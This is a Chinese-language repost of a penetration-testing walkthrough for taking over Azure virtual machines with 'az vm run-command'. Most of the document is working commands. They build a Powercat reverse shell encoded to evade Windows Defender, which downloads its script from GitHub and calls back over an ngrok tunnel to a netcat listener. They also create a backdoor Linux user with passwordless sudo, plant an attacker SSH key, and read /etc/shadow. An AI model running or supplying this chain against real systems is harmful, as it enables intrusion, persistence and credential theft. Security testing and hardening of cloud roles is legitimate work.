Azure VM 的反向shell

admin 2024年10月13日21:09:41评论12 views字数 5832阅读19分26秒阅读模式

概括

在本文中,我将向您展示如何使用 Azure“vm run-command”获取对 Azure 虚拟机的(反向)shell 访问权限

免责声明

本文仅供参考和教育目的,适合那些愿意并好奇了解和了解安全和渗透测试的人。内容不得用于非法目的。如果您准备好学习新的东西,然后继续阅读。

细节

Microsoft Azure“az vm run-command”允许您无需使用管理员密码或私有 SSH 密钥即可获得对虚拟机的控制台访问权限。具有“虚拟机贡献者”角色的 Azure 管理员有权执行“vm run 命令”。默认情况下,Azure“vm run-command”以 Windows 本地系统帐户或 Linux root 帐户运行命令。

为什么这有用?

首先,它充当恢复机制。失去管理访问权限的管理员仍然可以登录相应的虚拟机。

此外,在笔测试作业中,您可以检查给出的权利是否太宽泛。被测试的帐户可能被授予比预期更多的权限。这可能会导致横向移动。

POC 由 3 台计算机组成:Azure 云虚拟机 01(默认 Azure 预配的 Windows Server 2022)、Azure 云虚拟机 02(默认 Azure 预配的 Linux Ubuntu 18.04 LTS)和攻击者(Kali Linux 2023.1 版本)。

在接下来的部分中,我将演示使用“az vm run-command”的两个场景:

- Windows场景:反向shell

包括Windows Defender绕过(Powercat编码的有效负载)

- Linux场景:SSH绑定shell

对于Windows场景,我们将使用工具ngrok(https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者系统之间建立 VPN 隧道。来自 Windows 目标系统的出站流量将通过 ngrok VPN 隧道路由,最终到达 Kali 系统。因此,提前征求许可(ngrok 的使用)是否属于“交战规则”非常重要。当目标系统没有公共 IP 地址的入站访问权限时,此场景很有用。

在Linux场景中,我们不会使用反向shell,但我们将使用内置的SSH访问。但是,此方案仅在目标虚拟机公开具有入站 SSH 访问权限的公共 IP 地址时才有效。否则,反向 shell 场景也是可能的。例如,在 Linux 上,您可以使用 Python 或 Bash 有效负载与攻击者计算机上的侦听器建立连接。

概念验证;Windows 反向 shell

  • 安装 Docker

  • 下载 Azure-cli Docker 映像

    kali 安装ngrok  这个操作参考上篇文章,这里就不写了

在 Docker 上安装 Azure CLI 工具

Microsoft 提供了 Azure cli-tool 的分步安装 ( https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-linux?pivots=apt )。安装后一切看起来都很好,直到我运行 Azure vm 命令。我的屏幕上出现以下错误消息:
ValueError:API 版本 2022–11–01 没有操作组“virtual_machines”Azure VM 的反向shell

我决定继续使用 az 工具的 docker 版本。

在攻击者机器Kali Linux上执行

删除旧版本的 Docker。我们的 Kali 系统包含 Docker.io(企业版)的安装。

sudo apt remove docker docker-engine docker.io containerd runc

现在安装 Docker 社区版

(请参阅https://www.kali.org/docs/containers/installing-docker-on-kali/)

# add docker reproprintf '%sn' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list# add key for docker reprocurl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg

Azure VM 的反向shell

# 安装 docker sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io

Azure VM 的反向shell

在攻击者机器Kali Linux上执行

启动Docker引擎服务。

sudo service docker startsudo service docker status

Azure VM 的反向shell

在攻击者机器Kali Linux上执行

根据https://hub.docker.com/_/microsoft-azure-cli安装 docker Azure-cli 映像。我们将创建与主机系统上的 /tmp 目录的映射。

sudo docker run -v /tmp/:/tmp -it mcr.microsoft.com/azure-cli

Azure VM 的反向shell

我们已经完成了准备工作。我们可以继续 PoC 并使用 Azure-cli 工具执行 Azure 命令。

 在攻击者机器上的 Azure-cli docker 容器内执行

使用您的 Azure 帐户(虚拟机贡献者)登录。此帐户应具有“虚拟机贡献者”角色或更高级别。

az  login -u $azuser -p " $azpassword "

Azure VM 的反向shell

在攻击者机器上的 Azure-cli docker 容器内执行

列出可用的虚拟机,包括虚拟机名称、资源组和操作系统。`

az vm list --query "[].{vmName:name, ResourceGroup:resourceGroup,os:storageProfile.imageReference.offer, version:storageProfile.imageReference.sku}" -o table

Azure VM 的反向shell

在下一部分中,我将使用变量$MyWindowsVMname、$MyLinuxVMname和 $MyResourceGroup 来引用虚拟机名称和资源组。

 在攻击者机器上的 Azure-cli docker 容器内执行

选择您想要操作的 Windows VM(VmName 列)。使用 az vm run-命令启用 PowerShell 远程处理:

az vm run-command invoke --name $MyWindowsVMname -g $MyResourceGroup --command-id EnableRemotePS

Azure VM 的反向shell

 在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-command 执行命令类型 C:Windowswin.ini。

az vm run-command invoke --command-id RunPowerShellScript --name $MyWindowsVMname -g $MyResourceGroup --script 'type C:Windowswin.ini'

Azure VM 的反向shell

在攻击者机器Kali linux上执行

打开一个新的终端选项卡并将其重命名为“NGROK”。设置映射到本地端口 443 的 ngrok 隧道。

# Kali: ngrok tcp 隧道ngrok tcp 443

Azure VM 的反向shell

在攻击者机器Kali linux上执行

打开一个新的终端选项卡并将其重命名为“Netcat Listener”。设置与 ngrok 映射(端口 443)相对应的 netcat 侦听器。

# Kali: netcat tcp 监听器nc -nlvp 443

Azure VM 的反向shell

在攻击者机器Kali linux上执行

打开一个新的终端选项卡。创建 Powercat 编码的反向 shell 代码,这将绕过 Windows Defender 保护。使用变量 LHOST 和 LPORT 的 ngrok 隧道详细信息(服务器:端口)。这将生成有效负载文件 /tmp/shell-443.txt(可在 Kali 和 Azure Docker 容器中访问)。

# Kali: 创建编码的powercat代码LHOST=6.tcp.ngrok.ioLPORT=10574rshell=shell-443.txtpwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /tmp/$rshell

Azure VM 的反向shell

在攻击者机器上的 Azure-cli docker 容器内执行

返回到 docker 容器终端选项卡。使用 az vm run-命令使用编码的 Powercat 负载执行 PowersShell。

#Azure虚拟机:虚拟机执行powercat代码code=$(cat /tmp/shell-443.txt)az vm run-command invoke --command-id RunPowerShellScript --script "iex 'powershell -E $code'" --name $MyWindowsVMname -g $MyResourceGroup

Azure VM 的反向shell

注意状态:它保持“正在运行”。这意味着命令正在执行并且反向 shell 正在等待。

 在攻击者机器上的 Azure-cli docker 容器内执行

检查 netcat 终端选项卡。您将看到与目标 Azure Windows 服务器的反向 shell 连接。

Azure VM 的反向shell

shell 作为本地系统运行!

Azure VM 的反向shell

概念验证;Linux ssh shell

正如已经提到的,我们在 Linux 场景中不使用 ngrok。在这种情况下,我们有一台可以通过 SSH 访问公共 IP 地址的 Linux 计算机。过滤通常基于源IP地址。我们将使用 Ubuntu 机器对公共 IP 地址进行入站 SSH 访问。

在攻击者机器Kali Linux上执行

可选:在 Kali 机器上生成 SSH 密钥。

ssh-keygen cat  $HOME /.ssh/id_rsa.pub

在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-命令执行“id;whoami”。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts "id;whoami"

Azure VM 的反向shell

注意:命令以“root”身份执行

在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-命令检查 ssh 服务是否正在运行。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'service sshd status'

Azure VM 的反向shell

在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-命令检索虚拟机公共 IP 地址。

az vm show --name $MyLinuxVMname --resource-group $MyResourceGroup -d --query publicIps -o tsv

Azure VM 的反向shell

在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-命令创建新用户并将该用户添加到 sudoers 组。

# 在 sudoers 组中创建新用户az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'useradd -m pentesternwh; usermod -aG sudo pentesternwh'

Azure VM 的反向shell

 在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-command 使用户无需密码即可执行所有 sudo 命令。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --script 'echo "pentesternwh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers'

Azure VM 的反向shell

在攻击机Kali攻击机上执行

将 SSH 公钥复制到 /tmp 目录(可从 Docker 容器内访问)

# 将 ssh 公钥复制到主目录cat  $HOME /.ssh/id_rsa.pub > /tmp/ssh_public_key.txt

Azure VM 的反向shell

在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-命令为攻击者用户创建 .ssh 目录,其中包括攻击者的公钥 ($HOME/.ssh/authorized_keys)。

# 推送 ssh 公钥ssh_key=$(cat /tmp/ssh_public_key.txt)az vm run-command create --resource-group "$MyResourceGroup" --vm-name "$MyLinuxVMname" --run-command-name "MyCommand" --async-execution false --run-as-user "pentesternwh" --script "mkdir -p /home/pentesternwh/.ssh/; echo $ssh_key > /home/pentesternwh/.ssh/authorized_keys"

Azure VM 的反向shell

在攻击机Kali攻击机上执行

使用 ssh 以新用户身份登录。

ssh pentesternwh @1 .2.3.247

Azure VM 的反向shell

我们已登录!

在云服务器02上执行。

检查 sudo 权限。

sudo cat /etc/shadow

Azure VM 的反向shell

Azure VM 的反向shell

结论

“az vm run-command”是 Azure 管理工具集的一部分 ( https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command )。角色可能配置错误。

参考

https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command

https://ngrok.com/

原文始发于微信公众号(红队笔记录):Azure VM 的反向shell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日21:09:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Azure VM 的反向shellhttps://cn-sec.com/archives/1892710.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息